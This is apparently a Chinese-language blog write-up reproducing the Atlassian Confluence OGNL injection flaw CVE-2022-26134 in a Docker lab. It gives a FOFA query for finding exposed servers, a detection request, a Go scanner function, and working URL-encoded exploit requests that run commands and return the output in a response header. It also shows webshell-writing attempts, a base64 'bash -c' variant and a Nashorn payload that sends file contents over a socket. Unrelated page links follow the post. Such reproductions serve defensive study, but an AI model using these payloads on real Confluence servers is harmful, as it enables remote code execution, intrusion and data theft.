Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
简介
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
受影响版本
- Confluence Server and Data Center >= 1.3.0
- Confluence Server and Data Center < 7.4.17
- Confluence Server and Data Center < 7.13.7
- Confluence Server and Data Center < 7.14.3
- Confluence Server and Data Center < 7.15.2
- Confluence Server and Data Center < 7.16.4
- Confluence Server and Data Center < 7.17.4
- Confluence Server and Data Center < 7.18.1
fofa语法
"Confluence Data Center" && title=="登录 - Confluence"
漏洞环境
执行如下命令启动一个Confluence Server 7.13.6:
docker compose up -d
环境启动后,访问http://127.0.0.1:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。
注册一个账户申请试用版许可证。注册之后可以申请一个90天的许可证
在这个填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
之后有一些选择,我选了加载一个示例站点,再次输入注册用的邮箱和用户名,下面的输入前面定义的postgres,然后他让你输入完一个工作空间的名称就完成了配置启动了
漏洞利用
poc发包测试
GET /%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=15A13C672F837C4DC2D35405A3A1D9C0
Connection: close
规则很简单,添加到自写的poc扫描模块中也能验证成功
func CVE_2022_26134(u string) bool {
if req, err := request.HttpRequset(u+"/%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/", "GET", "", false, nil); err == nil {
if req.Header["X-V-Response"] != nil {
return true
}
}
return false
}
exp发包请求
使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
.
这里还是比较好理解的,${...}
表示这是一个OGNL表达式,它会被服务器解析和执行,然后先定义一个变量a来获取命令执行结果,具体是调用IOUtils
类的静态方法toString
这样可以将输入流转换为字符串,输入流则是通过调用Runtime
类的静态方法getRuntime
来获取一个Runtime
对象,接着通过调用它的exec
方法执行传入的id命令来返回一个Process
对象,最后调用它的getInputStream
来获取。最后将变量a传入header头X-Cmd-Response中返回
经过url编码之后发包:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
可以看到命令正常执行,也可以成功创建文件。
exp变形
但是写入想写入webshell发现不成功,先尝试了一下linux中写文件的几种姿势,但发现都不行写不进去:
echo "hi" | tee test.txt
// url编码后: echo%20%22hi%22%20%7C%20tee%20test.txt
echo "hi" > test.txt
// url编码后: echo%20%22hi%22%20%3E%20test.txt
printf "hi" > test.txt
// url编码后: printf%20%22hi%22%20%3E%20test.txt
尝试base64编码+url编码:
"bash -c {echo,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0}|{base64,-d}|{bash,-i}"
"bash%20-c%20%7Becho,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D"
但还是没有成功,没有header头回显。看到GitHub上有使用javascript配合socket来下载的,不过调用了JavaScript的nashorn来引入java的类。不过这个没实现成功。具体可以去这里了解 through the wire
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("id")));var sock = new java.net.Socket(127.0.0.1, 1111); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}
参考链接
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)的更多相关文章
- Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)
0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...
- struts2远程命令执行漏洞S2-045
Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...
- 19.Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick 命令执行漏洞(CVE-2016–3714) 漏洞简介: Imagetragick 命令执行漏洞在16年爆出来以后,wooyun上面也爆出了数个被该漏洞影响的大厂商,像腾讯, ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick介绍: ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个 ...
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- 文心一言 VS 讯飞星火 VS chatgpt (94)-- 算法导论9.2 3题
三.用go语言,给出 RANDOMIZED-SELECT的一个基于循环的版本. 文心一言: 在循环中实现 RANDOMIZED-SELECT 的一个版本可以如下所示.这个版本使用 Go 语言编写,利用 ...
- element-ui实现弹窗
element-ui实现弹窗 需要的官网组件 要弹出的页面 <template> <el-form :model="ruleForm" :rules=" ...
- 洛谷P2433 小学数学 N 合一
写完了这道题结果脑子断电把浏览器关了......打开一看 没保存 寄 传送门:[深基1-2]小学数学 N 合一 - 洛谷 第一题 第二题 第三题 这几道题没啥好说的,直接输出就彳亍了 cout < ...
- Strimzi Kafka Bridge(桥接)实战之三:自制sdk(golang版本)
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 本文是<Strimzi Kafka B ...
- 快速启动Stable Diffusion WebUI
快速启动Stable Diffusion WebUI详情 产品文档 输入文档关键字查找 机器学习PAI 产品概述 快速入门 操作指南 准备工作 开通PAI并创建默认工作空间 开通并授权依 ...
- Android 通过solid来定义不同边框的颜色,可以只定义一个边框的颜色
以下是设置按钮的右边框和底边框颜色为红色,边框大小为3dp,如下图: 在drawable新建一个 btnstyle.xml的文件,内容如下: <?xml version="1.0&qu ...
- MAC Big Sur系统升级导致三星移动硬盘T7无法识别解决方案
一.问题 MAC系统升级后总是导致三星移动硬盘(加密)无法被识别,影响正常使用.问售后让去官网下载最新驱动,第一次升级有用,在升级就没用了. 升级系统版本MAC 15.5.1重新安装官网驱动仍然无法识 ...
- 带着问题去分析:Spring Bean 生命周期
1: Bean在Spring容器中是如何存储和定义的 Bean在Spring中的定义是_org.springframework.beans.factory.config.BeanDefinition_ ...
- 自研、好用、够快、稳定、代码可读性强的ORM
Fast Framework 作者 Mr-zhong 代码改变世界.... 一.前言 Fast Framework 基于NET6.0 封装的轻量级 ORM 框架 支持多种数据库 SqlServer O ...
- 格局决定结局,进化还是毁灭,Prompt在其中扮演什么角色
GPT 时代, Prompt 的价值你们可能不懂 最近, OpenAI 推出了基于 GPT 模型的 GPTs 以及 Agent Stroe 系统,引发广泛关注.业内讨论热点主要集中在吸引用户体验方面. ...